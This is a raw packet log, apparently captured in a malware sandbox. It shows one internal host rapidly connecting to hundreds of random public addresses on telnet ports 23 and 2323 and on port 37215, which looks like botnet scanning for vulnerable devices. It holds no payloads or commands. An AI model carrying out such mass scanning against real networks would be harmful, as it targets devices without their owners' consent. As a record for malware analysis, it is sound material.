Nov 3, 2024 15:33:07.139229059 CET	4847	37215	192.168.2.14	197.72.227.196
Nov 3, 2024 15:33:07.139229059 CET	4833	23	192.168.2.14	187.30.41.206
Nov 3, 2024 15:33:07.139229059 CET	4833	23	192.168.2.14	136.128.187.214
Nov 3, 2024 15:33:07.139234066 CET	4847	37215	192.168.2.14	41.72.114.215
Nov 3, 2024 15:33:07.139256001 CET	4833	23	192.168.2.14	206.207.184.225
Nov 3, 2024 15:33:07.139256954 CET	4833	23	192.168.2.14	221.207.34.224
Nov 3, 2024 15:33:07.139256001 CET	4847	37215	192.168.2.14	156.197.212.12
Nov 3, 2024 15:33:07.139256001 CET	4847	37215	192.168.2.14	41.187.213.147
Nov 3, 2024 15:33:07.139256001 CET	4847	37215	192.168.2.14	197.84.208.22
Nov 3, 2024 15:33:07.139256001 CET	4847	37215	192.168.2.14	197.19.58.187
Nov 3, 2024 15:33:07.139257908 CET	4847	37215	192.168.2.14	156.143.245.199
Nov 3, 2024 15:33:07.139259100 CET	4833	2323	192.168.2.14	170.93.168.87
Nov 3, 2024 15:33:07.139257908 CET	4847	37215	192.168.2.14	41.98.113.148
Nov 3, 2024 15:33:07.139259100 CET	4847	37215	192.168.2.14	197.23.56.198
Nov 3, 2024 15:33:07.139257908 CET	4833	23	192.168.2.14	23.66.80.1
Nov 3, 2024 15:33:07.139259100 CET	4847	37215	192.168.2.14	156.135.31.0
Nov 3, 2024 15:33:07.139261007 CET	4847	37215	192.168.2.14	197.181.37.154
Nov 3, 2024 15:33:07.139259100 CET	4847	37215	192.168.2.14	41.16.27.15
Nov 3, 2024 15:33:07.139261007 CET	4833	23	192.168.2.14	41.98.9.103
Nov 3, 2024 15:33:07.139261961 CET	4847	37215	192.168.2.14	156.247.153.173
Nov 3, 2024 15:33:07.139259100 CET	4847	37215	192.168.2.14	41.224.9.74
Nov 3, 2024 15:33:07.139261961 CET	4833	23	192.168.2.14	148.87.128.103
Nov 3, 2024 15:33:07.139259100 CET	4847	37215	192.168.2.14	41.60.171.77
Nov 3, 2024 15:33:07.139259100 CET	4847	37215	192.168.2.14	41.85.113.227
Nov 3, 2024 15:33:07.139259100 CET	4847	37215	192.168.2.14	197.246.199.107
Nov 3, 2024 15:33:07.139259100 CET	4847	37215	192.168.2.14	197.248.90.49
Nov 3, 2024 15:33:07.139261007 CET	4847	37215	192.168.2.14	197.19.173.128
Nov 3, 2024 15:33:07.139261007 CET	4833	23	192.168.2.14	145.211.102.27
Nov 3, 2024 15:33:07.139261007 CET	4833	2323	192.168.2.14	180.121.69.72
Nov 3, 2024 15:33:07.139273882 CET	4833	23	192.168.2.14	163.33.103.115
Nov 3, 2024 15:33:07.139273882 CET	4833	23	192.168.2.14	97.166.134.85
Nov 3, 2024 15:33:07.139273882 CET	4847	37215	192.168.2.14	156.96.134.179
Nov 3, 2024 15:33:07.139282942 CET	4847	37215	192.168.2.14	197.83.137.133
Nov 3, 2024 15:33:07.139282942 CET	4833	23	192.168.2.14	94.61.254.62
Nov 3, 2024 15:33:07.139282942 CET	4833	23	192.168.2.14	213.130.160.65
Nov 3, 2024 15:33:07.139282942 CET	4833	2323	192.168.2.14	12.72.75.225
Nov 3, 2024 15:33:07.139283895 CET	4833	23	192.168.2.14	116.172.146.249
Nov 3, 2024 15:33:07.139283895 CET	4847	37215	192.168.2.14	156.237.230.208
Nov 3, 2024 15:33:07.139285088 CET	4847	37215	192.168.2.14	197.82.56.133
Nov 3, 2024 15:33:07.139283895 CET	4847	37215	192.168.2.14	41.252.220.80
Nov 3, 2024 15:33:07.139285088 CET	4847	37215	192.168.2.14	41.254.248.100
Nov 3, 2024 15:33:07.139285088 CET	4833	23	192.168.2.14	106.180.203.165
Nov 3, 2024 15:33:07.139285088 CET	4847	37215	192.168.2.14	41.206.147.77
Nov 3, 2024 15:33:07.139286995 CET	4847	37215	192.168.2.14	156.20.42.130
Nov 3, 2024 15:33:07.139286995 CET	4847	37215	192.168.2.14	197.113.159.187
Nov 3, 2024 15:33:07.139286995 CET	4833	23	192.168.2.14	170.44.43.222
Nov 3, 2024 15:33:07.139286995 CET	4847	37215	192.168.2.14	41.254.231.167
Nov 3, 2024 15:33:07.139286995 CET	4833	23	192.168.2.14	4.50.76.103
Nov 3, 2024 15:33:07.139286995 CET	4847	37215	192.168.2.14	41.109.135.64
Nov 3, 2024 15:33:07.139290094 CET	4833	23	192.168.2.14	169.20.98.150
Nov 3, 2024 15:33:07.139290094 CET	4847	37215	192.168.2.14	156.38.142.16
Nov 3, 2024 15:33:07.139290094 CET	4847	37215	192.168.2.14	197.67.33.249
Nov 3, 2024 15:33:07.139290094 CET	4847	37215	192.168.2.14	197.85.154.220
Nov 3, 2024 15:33:07.139290094 CET	4833	23	192.168.2.14	202.152.250.227
Nov 3, 2024 15:33:07.139290094 CET	4847	37215	192.168.2.14	156.237.250.242
Nov 3, 2024 15:33:07.139290094 CET	4847	37215	192.168.2.14	41.37.198.62
Nov 3, 2024 15:33:07.139290094 CET	4847	37215	192.168.2.14	41.104.214.199
Nov 3, 2024 15:33:07.139307022 CET	4833	23	192.168.2.14	162.60.131.105
Nov 3, 2024 15:33:07.139307022 CET	4847	37215	192.168.2.14	41.57.22.220
Nov 3, 2024 15:33:07.139307022 CET	4847	37215	192.168.2.14	41.152.109.221
Nov 3, 2024 15:33:07.139308929 CET	4847	37215	192.168.2.14	156.108.226.121
Nov 3, 2024 15:33:07.139309883 CET	4847	37215	192.168.2.14	156.75.59.190
Nov 3, 2024 15:33:07.139309883 CET	4833	23	192.168.2.14	119.232.130.34
Nov 3, 2024 15:33:07.139309883 CET	4833	2323	192.168.2.14	60.227.197.240
Nov 3, 2024 15:33:07.139309883 CET	4833	23	192.168.2.14	14.181.29.50
Nov 3, 2024 15:33:07.139319897 CET	4833	23	192.168.2.14	195.117.189.240
Nov 3, 2024 15:33:07.139319897 CET	4847	37215	192.168.2.14	197.207.213.156
Nov 3, 2024 15:33:07.139319897 CET	4847	37215	192.168.2.14	156.130.79.90
Nov 3, 2024 15:33:07.139322042 CET	4847	37215	192.168.2.14	156.30.240.107
Nov 3, 2024 15:33:07.139322996 CET	4833	23	192.168.2.14	67.42.154.37
Nov 3, 2024 15:33:07.139322996 CET	4847	37215	192.168.2.14	197.124.169.126
Nov 3, 2024 15:33:07.139322996 CET	4833	23	192.168.2.14	176.194.20.24
Nov 3, 2024 15:33:07.139322996 CET	4833	23	192.168.2.14	118.179.146.248
Nov 3, 2024 15:33:07.139322996 CET	4833	23	192.168.2.14	203.116.92.73
Nov 3, 2024 15:33:07.139322996 CET	4847	37215	192.168.2.14	156.140.203.127
Nov 3, 2024 15:33:07.139327049 CET	4833	23	192.168.2.14	195.115.92.29
Nov 3, 2024 15:33:07.139327049 CET	4833	23	192.168.2.14	160.1.148.112
Nov 3, 2024 15:33:07.139327049 CET	4833	23	192.168.2.14	183.135.214.4
Nov 3, 2024 15:33:07.139328003 CET	4833	23	192.168.2.14	186.114.74.200
Nov 3, 2024 15:33:07.139327049 CET	4847	37215	192.168.2.14	41.176.83.68
Nov 3, 2024 15:33:07.139328003 CET	4847	37215	192.168.2.14	41.194.220.178
Nov 3, 2024 15:33:07.139334917 CET	4833	23	192.168.2.14	104.42.15.97
Nov 3, 2024 15:33:07.139337063 CET	4833	23	192.168.2.14	114.178.224.139
Nov 3, 2024 15:33:07.139337063 CET	4833	23	192.168.2.14	178.22.118.9
Nov 3, 2024 15:33:07.139350891 CET	4847	37215	192.168.2.14	41.163.63.14
Nov 3, 2024 15:33:07.139350891 CET	4833	23	192.168.2.14	110.66.168.195
Nov 3, 2024 15:33:07.139352083 CET	4833	23	192.168.2.14	72.246.141.122
Nov 3, 2024 15:33:07.139350891 CET	4833	23	192.168.2.14	77.117.250.19
Nov 3, 2024 15:33:07.139352083 CET	4847	37215	192.168.2.14	156.241.116.163
Nov 3, 2024 15:33:07.139350891 CET	4847	37215	192.168.2.14	197.135.157.61
Nov 3, 2024 15:33:07.139352083 CET	4833	23	192.168.2.14	196.148.154.198
Nov 3, 2024 15:33:07.139350891 CET	4847	37215	192.168.2.14	156.232.254.103
Nov 3, 2024 15:33:07.139352083 CET	4847	37215	192.168.2.14	41.165.151.224
Nov 3, 2024 15:33:07.139352083 CET	4833	23	192.168.2.14	189.249.135.118
Nov 3, 2024 15:33:07.139353037 CET	4833	23	192.168.2.14	208.171.15.213
Nov 3, 2024 15:33:07.139354944 CET	4847	37215	192.168.2.14	41.97.232.36
Nov 3, 2024 15:33:07.139352083 CET	4833	23	192.168.2.14	31.15.154.83
Nov 3, 2024 15:33:07.139358044 CET	4847	37215	192.168.2.14	41.18.100.39
Nov 3, 2024 15:33:07.139352083 CET	4833	23	192.168.2.14	188.48.19.215
Nov 3, 2024 15:33:07.139353037 CET	4847	37215	192.168.2.14	156.9.161.66
Nov 3, 2024 15:33:07.139354944 CET	4833	23	192.168.2.14	59.64.142.46
Nov 3, 2024 15:33:07.139358044 CET	4833	23	192.168.2.14	95.238.199.160
Nov 3, 2024 15:33:07.139362097 CET	4847	37215	192.168.2.14	197.118.221.175
Nov 3, 2024 15:33:07.139352083 CET	4833	23	192.168.2.14	113.111.130.86
Nov 3, 2024 15:33:07.139358044 CET	4833	2323	192.168.2.14	190.189.23.91
Nov 3, 2024 15:33:07.139362097 CET	4833	23	192.168.2.14	192.20.227.138
Nov 3, 2024 15:33:07.139358997 CET	4833	23	192.168.2.14	75.243.192.255
Nov 3, 2024 15:33:07.139358997 CET	4847	37215	192.168.2.14	197.50.67.220
Nov 3, 2024 15:33:07.139353037 CET	4847	37215	192.168.2.14	156.164.208.50
Nov 3, 2024 15:33:07.139353037 CET	4833	23	192.168.2.14	96.206.45.44
Nov 3, 2024 15:33:07.139375925 CET	4833	23	192.168.2.14	101.124.154.128
Nov 3, 2024 15:33:07.139375925 CET	4847	37215	192.168.2.14	41.1.188.71
Nov 3, 2024 15:33:07.139375925 CET	4847	37215	192.168.2.14	41.155.207.42
Nov 3, 2024 15:33:07.139379978 CET	4847	37215	192.168.2.14	41.171.155.122
Nov 3, 2024 15:33:07.139379978 CET	4847	37215	192.168.2.14	197.133.33.99
Nov 3, 2024 15:33:07.139384031 CET	4847	37215	192.168.2.14	156.46.81.71
Nov 3, 2024 15:33:07.139389038 CET	4833	2323	192.168.2.14	44.213.221.13
Nov 3, 2024 15:33:07.139389038 CET	4847	37215	192.168.2.14	41.163.223.34
Nov 3, 2024 15:33:07.139389038 CET	4847	37215	192.168.2.14	197.93.95.25
Nov 3, 2024 15:33:07.139389038 CET	4847	37215	192.168.2.14	41.74.89.178
Nov 3, 2024 15:33:07.139389038 CET	4833	23	192.168.2.14	176.179.139.117
Nov 3, 2024 15:33:07.139391899 CET	4847	37215	192.168.2.14	41.25.239.209
Nov 3, 2024 15:33:07.139389038 CET	4833	23	192.168.2.14	32.254.10.14
Nov 3, 2024 15:33:07.139391899 CET	4847	37215	192.168.2.14	197.108.180.55
Nov 3, 2024 15:33:07.139393091 CET	4847	37215	192.168.2.14	41.67.43.8
Nov 3, 2024 15:33:07.139389038 CET	4833	23	192.168.2.14	113.131.56.237
Nov 3, 2024 15:33:07.139393091 CET	4833	23	192.168.2.14	175.250.158.45
Nov 3, 2024 15:33:07.139394045 CET	4847	37215	192.168.2.14	156.27.116.168
Nov 3, 2024 15:33:07.139389038 CET	4833	23	192.168.2.14	136.68.161.20
Nov 3, 2024 15:33:07.139394045 CET	4847	37215	192.168.2.14	197.202.195.49
Nov 3, 2024 15:33:07.139389038 CET	4833	23	192.168.2.14	78.108.209.124
Nov 3, 2024 15:33:07.139394999 CET	4847	37215	192.168.2.14	156.85.2.101
Nov 3, 2024 15:33:07.139393091 CET	4847	37215	192.168.2.14	197.193.203.108
Nov 3, 2024 15:33:07.139405966 CET	4847	37215	192.168.2.14	156.83.84.177
Nov 3, 2024 15:33:07.139405966 CET	4847	37215	192.168.2.14	41.219.67.29
Nov 3, 2024 15:33:07.139406919 CET	4847	37215	192.168.2.14	156.205.175.51
Nov 3, 2024 15:33:07.139410019 CET	4833	23	192.168.2.14	195.206.239.144
Nov 3, 2024 15:33:07.139410973 CET	4833	23	192.168.2.14	98.233.123.218
Nov 3, 2024 15:33:07.139410019 CET	4833	23	192.168.2.14	133.37.173.228
Nov 3, 2024 15:33:07.139408112 CET	4847	37215	192.168.2.14	41.233.16.30
Nov 3, 2024 15:33:07.139410019 CET	4847	37215	192.168.2.14	197.180.178.52
Nov 3, 2024 15:33:07.139408112 CET	4847	37215	192.168.2.14	156.82.21.25
Nov 3, 2024 15:33:07.139410973 CET	4833	2323	192.168.2.14	23.31.243.179
Nov 3, 2024 15:33:07.139408112 CET	4833	23	192.168.2.14	155.240.222.177
Nov 3, 2024 15:33:07.139415026 CET	4847	37215	192.168.2.14	41.133.45.59
Nov 3, 2024 15:33:07.139408112 CET	4847	37215	192.168.2.14	197.42.250.126
Nov 3, 2024 15:33:07.139410019 CET	4847	37215	192.168.2.14	41.156.3.148
Nov 3, 2024 15:33:07.139410973 CET	4847	37215	192.168.2.14	41.109.100.178
Nov 3, 2024 15:33:07.139408112 CET	4833	23	192.168.2.14	124.221.253.254
Nov 3, 2024 15:33:07.139415026 CET	4847	37215	192.168.2.14	156.38.154.80
Nov 3, 2024 15:33:07.139410973 CET	4847	37215	192.168.2.14	197.80.86.48
Nov 3, 2024 15:33:07.139415026 CET	4847	37215	192.168.2.14	197.12.81.99
Nov 3, 2024 15:33:07.139426947 CET	4847	37215	192.168.2.14	41.101.189.172
Nov 3, 2024 15:33:07.139430046 CET	4847	37215	192.168.2.14	156.217.154.132
Nov 3, 2024 15:33:07.139441967 CET	4833	23	192.168.2.14	118.110.31.214
Nov 3, 2024 15:33:07.139442921 CET	4847	37215	192.168.2.14	156.7.55.211
Nov 3, 2024 15:33:07.139442921 CET	4833	23	192.168.2.14	172.221.129.93
Nov 3, 2024 15:33:07.139442921 CET	4847	37215	192.168.2.14	156.217.43.144
Nov 3, 2024 15:33:07.139442921 CET	4847	37215	192.168.2.14	197.92.179.87
Nov 3, 2024 15:33:07.139445066 CET	4847	37215	192.168.2.14	41.217.153.253
Nov 3, 2024 15:33:07.139446020 CET	4847	37215	192.168.2.14	197.93.233.59
Nov 3, 2024 15:33:07.139447927 CET	4833	23	192.168.2.14	24.212.91.98
Nov 3, 2024 15:33:07.139447927 CET	4847	37215	192.168.2.14	41.136.111.92
Nov 3, 2024 15:33:07.139457941 CET	4833	23	192.168.2.14	135.75.121.222
Nov 3, 2024 15:33:07.139457941 CET	4847	37215	192.168.2.14	156.44.98.21
Nov 3, 2024 15:33:07.139458895 CET	4847	37215	192.168.2.14	41.151.55.87
Nov 3, 2024 15:33:07.139458895 CET	4833	23	192.168.2.14	34.29.50.95
Nov 3, 2024 15:33:07.139461994 CET	4833	23	192.168.2.14	177.156.133.242
Nov 3, 2024 15:33:07.139461994 CET	4847	37215	192.168.2.14	156.57.165.7
Nov 3, 2024 15:33:07.139461994 CET	4847	37215	192.168.2.14	197.147.63.121
Nov 3, 2024 15:33:07.139461994 CET	4833	23	192.168.2.14	181.210.189.193
Nov 3, 2024 15:33:07.139482021 CET	4847	37215	192.168.2.14	197.23.97.244
Nov 3, 2024 15:33:07.139482021 CET	4833	23	192.168.2.14	221.164.21.56
Nov 3, 2024 15:33:07.139483929 CET	4847	37215	192.168.2.14	197.243.108.180
Nov 3, 2024 15:33:07.139483929 CET	4847	37215	192.168.2.14	41.38.204.43
Nov 3, 2024 15:33:07.139484882 CET	4833	23	192.168.2.14	82.47.204.193
Nov 3, 2024 15:33:07.139484882 CET	4847	37215	192.168.2.14	41.90.72.186
Nov 3, 2024 15:33:07.139484882 CET	4847	37215	192.168.2.14	197.176.150.20
Nov 3, 2024 15:33:07.139484882 CET	4833	23	192.168.2.14	73.221.12.113
Nov 3, 2024 15:33:07.139486074 CET	4847	37215	192.168.2.14	156.215.54.187
Nov 3, 2024 15:33:07.139486074 CET	4833	23	192.168.2.14	155.187.238.244
Nov 3, 2024 15:33:07.139487028 CET	4833	23	192.168.2.14	139.149.2.181
Nov 3, 2024 15:33:07.139487028 CET	4833	2323	192.168.2.14	43.59.254.224
Nov 3, 2024 15:33:07.139487028 CET	4847	37215	192.168.2.14	197.48.153.122
Nov 3, 2024 15:33:07.139487028 CET	4847	37215	192.168.2.14	156.206.237.192
Nov 3, 2024 15:33:07.139488935 CET	4847	37215	192.168.2.14	197.26.223.42
Nov 3, 2024 15:33:07.139488935 CET	4847	37215	192.168.2.14	41.42.117.101
Nov 3, 2024 15:33:07.139487028 CET	4847	37215	192.168.2.14	41.87.193.38
Nov 3, 2024 15:33:07.139488935 CET	4833	23	192.168.2.14	4.198.242.134
Nov 3, 2024 15:33:07.139487028 CET	4847	37215	192.168.2.14	197.88.127.175
Nov 3, 2024 15:33:07.139488935 CET	4847	37215	192.168.2.14	156.86.221.54
Nov 3, 2024 15:33:07.139488935 CET	4833	23	192.168.2.14	115.131.146.10
Nov 3, 2024 15:33:07.139488935 CET	4847	37215	192.168.2.14	156.112.204.215
Nov 3, 2024 15:33:07.139488935 CET	4847	37215	192.168.2.14	41.119.119.228
Nov 3, 2024 15:33:07.139488935 CET	4833	23	192.168.2.14	151.91.45.128
Nov 3, 2024 15:33:07.139488935 CET	4833	23	192.168.2.14	45.222.143.82
Nov 3, 2024 15:33:07.139488935 CET	4833	23	192.168.2.14	82.139.91.98
Nov 3, 2024 15:33:07.139487028 CET	4833	23	192.168.2.14	36.249.56.80
Nov 3, 2024 15:33:07.139503002 CET	4833	23	192.168.2.14	81.154.7.168
Nov 3, 2024 15:33:07.139503002 CET	4833	2323	192.168.2.14	125.25.56.117
Nov 3, 2024 15:33:07.139503002 CET	4833	23	192.168.2.14	164.31.43.96
Nov 3, 2024 15:33:07.139503002 CET	4847	37215	192.168.2.14	197.129.64.90
Nov 3, 2024 15:33:07.139503002 CET	4847	37215	192.168.2.14	197.118.96.86
Nov 3, 2024 15:33:07.139504910 CET	4847	37215	192.168.2.14	156.172.235.170
Nov 3, 2024 15:33:07.139504910 CET	4847	37215	192.168.2.14	197.213.245.1
Nov 3, 2024 15:33:07.139504910 CET	4847	37215	192.168.2.14	41.56.115.184
Nov 3, 2024 15:33:07.139508009 CET	4847	37215	192.168.2.14	156.149.143.120
Nov 3, 2024 15:33:07.139508009 CET	4847	37215	192.168.2.14	156.23.58.78
Nov 3, 2024 15:33:07.139508009 CET	4833	23	192.168.2.14	147.12.91.231
Nov 3, 2024 15:33:07.139508009 CET	4847	37215	192.168.2.14	197.177.81.232
Nov 3, 2024 15:33:07.139509916 CET	4847	37215	192.168.2.14	197.55.138.101
Nov 3, 2024 15:33:07.139509916 CET	4847	37215	192.168.2.14	156.170.181.99
Nov 3, 2024 15:33:07.139511108 CET	4833	23	192.168.2.14	161.27.26.21
Nov 3, 2024 15:33:07.139511108 CET	4847	37215	192.168.2.14	41.248.246.191
Nov 3, 2024 15:33:07.139511108 CET	4847	37215	192.168.2.14	41.211.156.243
Nov 3, 2024 15:33:07.139513016 CET	4847	37215	192.168.2.14	197.163.202.185
Nov 3, 2024 15:33:07.139513016 CET	4833	23	192.168.2.14	139.163.233.72
Nov 3, 2024 15:33:07.139522076 CET	4847	37215	192.168.2.14	156.137.122.208
Nov 3, 2024 15:33:07.139522076 CET	4847	37215	192.168.2.14	156.14.123.232
Nov 3, 2024 15:33:07.139522076 CET	4833	23	192.168.2.14	153.90.21.45
Nov 3, 2024 15:33:07.139523029 CET	4833	23	192.168.2.14	44.0.145.163
Nov 3, 2024 15:33:07.139523029 CET	4847	37215	192.168.2.14	41.207.203.21
Nov 3, 2024 15:33:07.139523029 CET	4847	37215	192.168.2.14	41.117.27.130
Nov 3, 2024 15:33:07.139523029 CET	4833	23	192.168.2.14	162.244.244.145
Nov 3, 2024 15:33:07.139525890 CET	4847	37215	192.168.2.14	156.255.161.208
Nov 3, 2024 15:33:07.139525890 CET	4847	37215	192.168.2.14	41.40.8.149
Nov 3, 2024 15:33:07.139525890 CET	4847	37215	192.168.2.14	197.211.50.163
Nov 3, 2024 15:33:07.139529943 CET	4847	37215	192.168.2.14	156.49.178.179
Nov 3, 2024 15:33:07.139529943 CET	4833	23	192.168.2.14	96.112.21.247
Nov 3, 2024 15:33:07.139529943 CET	4847	37215	192.168.2.14	156.54.163.253
Nov 3, 2024 15:33:07.139530897 CET	4833	2323	192.168.2.14	102.147.255.21
Nov 3, 2024 15:33:07.139529943 CET	4847	37215	192.168.2.14	197.152.208.108
Nov 3, 2024 15:33:07.139530897 CET	4833	23	192.168.2.14	114.96.93.65
Nov 3, 2024 15:33:07.139533043 CET	4847	37215	192.168.2.14	197.100.109.130
Nov 3, 2024 15:33:07.139533043 CET	4833	23	192.168.2.14	40.192.157.252
Nov 3, 2024 15:33:07.139533043 CET	4833	23	192.168.2.14	183.23.21.29
Nov 3, 2024 15:33:07.139533043 CET	4847	37215	192.168.2.14	41.249.106.21
Nov 3, 2024 15:33:07.139533043 CET	4847	37215	192.168.2.14	156.238.251.190
Nov 3, 2024 15:33:07.139543056 CET	4833	23	192.168.2.14	66.230.138.22
Nov 3, 2024 15:33:07.139543056 CET	4847	37215	192.168.2.14	197.92.44.145
Nov 3, 2024 15:33:07.139543056 CET	4847	37215	192.168.2.14	156.58.81.217
Nov 3, 2024 15:33:07.139549971 CET	4833	23	192.168.2.14	66.248.94.4
Nov 3, 2024 15:33:07.139550924 CET	4847	37215	192.168.2.14	41.253.204.201
Nov 3, 2024 15:33:07.139556885 CET	4847	37215	192.168.2.14	41.47.101.110
Nov 3, 2024 15:33:07.139556885 CET	4847	37215	192.168.2.14	156.218.169.172
Nov 3, 2024 15:33:07.139556885 CET	4833	23	192.168.2.14	157.98.79.154
Nov 3, 2024 15:33:07.139559984 CET	4847	37215	192.168.2.14	156.126.106.139
Nov 3, 2024 15:33:07.139559984 CET	4833	23	192.168.2.14	191.210.143.115
Nov 3, 2024 15:33:07.139559984 CET	4847	37215	192.168.2.14	41.202.156.137
Nov 3, 2024 15:33:07.139559984 CET	4847	37215	192.168.2.14	197.54.120.96
Nov 3, 2024 15:33:07.139559984 CET	4847	37215	192.168.2.14	41.144.57.102
Nov 3, 2024 15:33:07.139564037 CET	4847	37215	192.168.2.14	41.156.12.42
Nov 3, 2024 15:33:07.139564991 CET	4847	37215	192.168.2.14	41.96.12.3
Nov 3, 2024 15:33:07.139564037 CET	4847	37215	192.168.2.14	197.138.17.79
Nov 3, 2024 15:33:07.139566898 CET	4847	37215	192.168.2.14	156.217.202.77
Nov 3, 2024 15:33:07.139564037 CET	4847	37215	192.168.2.14	156.102.123.102
Nov 3, 2024 15:33:07.139568090 CET	4847	37215	192.168.2.14	197.142.35.14
Nov 3, 2024 15:33:07.139564037 CET	4847	37215	192.168.2.14	197.169.102.113
Nov 3, 2024 15:33:07.139570951 CET	4847	37215	192.168.2.14	41.216.217.252
Nov 3, 2024 15:33:07.139570951 CET	4847	37215	192.168.2.14	41.18.45.27
Nov 3, 2024 15:33:07.139571905 CET	4847	37215	192.168.2.14	197.248.169.5
Nov 3, 2024 15:33:07.139574051 CET	4847	37215	192.168.2.14	41.107.123.24
Nov 3, 2024 15:33:07.139575005 CET	4847	37215	192.168.2.14	156.86.118.83
Nov 3, 2024 15:33:07.139575005 CET	4847	37215	192.168.2.14	41.253.82.194
Nov 3, 2024 15:33:07.139575005 CET	4847	37215	192.168.2.14	41.254.94.180
Nov 3, 2024 15:33:07.139581919 CET	4847	37215	192.168.2.14	197.129.0.1
Nov 3, 2024 15:33:07.139581919 CET	4847	37215	192.168.2.14	156.152.197.60
Nov 3, 2024 15:33:07.139581919 CET	4847	37215	192.168.2.14	41.163.158.160
Nov 3, 2024 15:33:07.139590025 CET	4847	37215	192.168.2.14	41.238.168.246
Nov 3, 2024 15:33:07.139590025 CET	4847	37215	192.168.2.14	156.255.187.228
Nov 3, 2024 15:33:07.139590025 CET	4847	37215	192.168.2.14	156.22.136.87
Nov 3, 2024 15:33:07.139595032 CET	4847	37215	192.168.2.14	156.194.31.44
Nov 3, 2024 15:33:07.139599085 CET	4847	37215	192.168.2.14	41.189.118.192
Nov 3, 2024 15:33:07.139600039 CET	4847	37215	192.168.2.14	197.130.81.240
Nov 3, 2024 15:33:07.139600039 CET	4847	37215	192.168.2.14	197.28.51.12
Nov 3, 2024 15:33:07.139600992 CET	4847	37215	192.168.2.14	197.117.20.112
Nov 3, 2024 15:33:07.139605045 CET	4847	37215	192.168.2.14	156.161.80.96
Nov 3, 2024 15:33:07.139605045 CET	4847	37215	192.168.2.14	156.13.51.100
Nov 3, 2024 15:33:07.139624119 CET	4847	37215	192.168.2.14	156.169.217.71
Nov 3, 2024 15:33:07.139626026 CET	4847	37215	192.168.2.14	156.143.51.179
Nov 3, 2024 15:33:07.139626980 CET	4847	37215	192.168.2.14	197.143.156.255
Nov 3, 2024 15:33:07.139626980 CET	4847	37215	192.168.2.14	156.25.57.71
Nov 3, 2024 15:33:07.139636040 CET	4847	37215	192.168.2.14	156.136.255.195
Nov 3, 2024 15:33:07.139636993 CET	4847	37215	192.168.2.14	197.157.129.99
Nov 3, 2024 15:33:07.139636993 CET	4847	37215	192.168.2.14	41.83.183.4
Nov 3, 2024 15:33:07.139637947 CET	4847	37215	192.168.2.14	156.184.152.18
Nov 3, 2024 15:33:07.139637947 CET	4847	37215	192.168.2.14	156.217.187.105
Nov 3, 2024 15:33:07.139640093 CET	4847	37215	192.168.2.14	197.37.163.54
Nov 3, 2024 15:33:07.139641047 CET	4847	37215	192.168.2.14	197.182.212.94
Nov 3, 2024 15:33:07.139647961 CET	4847	37215	192.168.2.14	197.143.77.127
Nov 3, 2024 15:33:07.139658928 CET	4847	37215	192.168.2.14	156.223.230.231
Nov 3, 2024 15:33:07.139671087 CET	4847	37215	192.168.2.14	41.107.46.120
Nov 3, 2024 15:33:07.139671087 CET	4847	37215	192.168.2.14	41.220.126.76
Nov 3, 2024 15:33:07.139687061 CET	4847	37215	192.168.2.14	41.118.212.116
Nov 3, 2024 15:33:07.139692068 CET	4847	37215	192.168.2.14	197.228.171.81
Nov 3, 2024 15:33:07.139692068 CET	4847	37215	192.168.2.14	197.114.129.208
Nov 3, 2024 15:33:07.139700890 CET	4847	37215	192.168.2.14	41.189.0.123
Nov 3, 2024 15:33:07.139714956 CET	4847	37215	192.168.2.14	197.88.66.22
Nov 3, 2024 15:33:07.139714956 CET	4847	37215	192.168.2.14	156.162.38.153
Nov 3, 2024 15:33:07.139717102 CET	4847	37215	192.168.2.14	197.157.185.64
Nov 3, 2024 15:33:07.139729023 CET	4847	37215	192.168.2.14	41.174.27.81
Nov 3, 2024 15:33:07.139729977 CET	4847	37215	192.168.2.14	41.168.185.72
Nov 3, 2024 15:33:07.139741898 CET	4847	37215	192.168.2.14	41.108.229.243
Nov 3, 2024 15:33:07.139741898 CET	4847	37215	192.168.2.14	41.98.1.237
Nov 3, 2024 15:33:07.139755011 CET	4847	37215	192.168.2.14	197.171.233.54
Nov 3, 2024 15:33:07.139756918 CET	4847	37215	192.168.2.14	41.57.166.69
Nov 3, 2024 15:33:07.139774084 CET	4847	37215	192.168.2.14	197.192.41.94
Nov 3, 2024 15:33:07.139775038 CET	4847	37215	192.168.2.14	197.7.59.41
Nov 3, 2024 15:33:07.139791012 CET	4847	37215	192.168.2.14	156.211.242.171
Nov 3, 2024 15:33:07.139792919 CET	4847	37215	192.168.2.14	156.247.0.107
Nov 3, 2024 15:33:07.139792919 CET	4847	37215	192.168.2.14	41.187.42.37
Nov 3, 2024 15:33:07.139792919 CET	4847	37215	192.168.2.14	197.116.112.234
Nov 3, 2024 15:33:07.139795065 CET	4847	37215	192.168.2.14	156.8.151.36
Nov 3, 2024 15:33:07.139807940 CET	4847	37215	192.168.2.14	156.246.80.169
Nov 3, 2024 15:33:07.139961004 CET	34774	37215	192.168.2.14	156.214.246.139
Nov 3, 2024 15:33:07.139971018 CET	40860	37215	192.168.2.14	197.103.118.254
Nov 3, 2024 15:33:07.139985085 CET	56152	37215	192.168.2.14	156.33.212.75
Nov 3, 2024 15:33:07.139988899 CET	37910	37215	192.168.2.14	41.77.71.178
Nov 3, 2024 15:33:07.139992952 CET	45458	37215	192.168.2.14	197.243.86.185
Nov 3, 2024 15:33:07.140005112 CET	47250	37215	192.168.2.14	197.41.117.125
Nov 3, 2024 15:33:07.140007973 CET	59280	37215	192.168.2.14	156.191.169.252
Nov 3, 2024 15:33:07.144308090 CET	23	43018	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:07.144329071 CET	37215	4847	41.152.10.217	192.168.2.14
Nov 3, 2024 15:33:07.144340992 CET	2323	4833	110.93.45.196	192.168.2.14
Nov 3, 2024 15:33:07.144351006 CET	37215	4847	197.202.62.10	192.168.2.14
Nov 3, 2024 15:33:07.144361019 CET	23	4833	73.126.226.202	192.168.2.14
Nov 3, 2024 15:33:07.144373894 CET	23	4833	173.81.55.104	192.168.2.14
Nov 3, 2024 15:33:07.144373894 CET	4847	37215	192.168.2.14	41.152.10.217
Nov 3, 2024 15:33:07.144387007 CET	4833	2323	192.168.2.14	110.93.45.196
Nov 3, 2024 15:33:07.144387960 CET	37215	4847	197.83.253.179	192.168.2.14
Nov 3, 2024 15:33:07.144396067 CET	4847	37215	192.168.2.14	197.202.62.10
Nov 3, 2024 15:33:07.144397020 CET	4833	23	192.168.2.14	73.126.226.202
Nov 3, 2024 15:33:07.144403934 CET	23	4833	57.201.123.143	192.168.2.14
Nov 3, 2024 15:33:07.144406080 CET	4833	23	192.168.2.14	173.81.55.104
Nov 3, 2024 15:33:07.144427061 CET	4847	37215	192.168.2.14	197.83.253.179
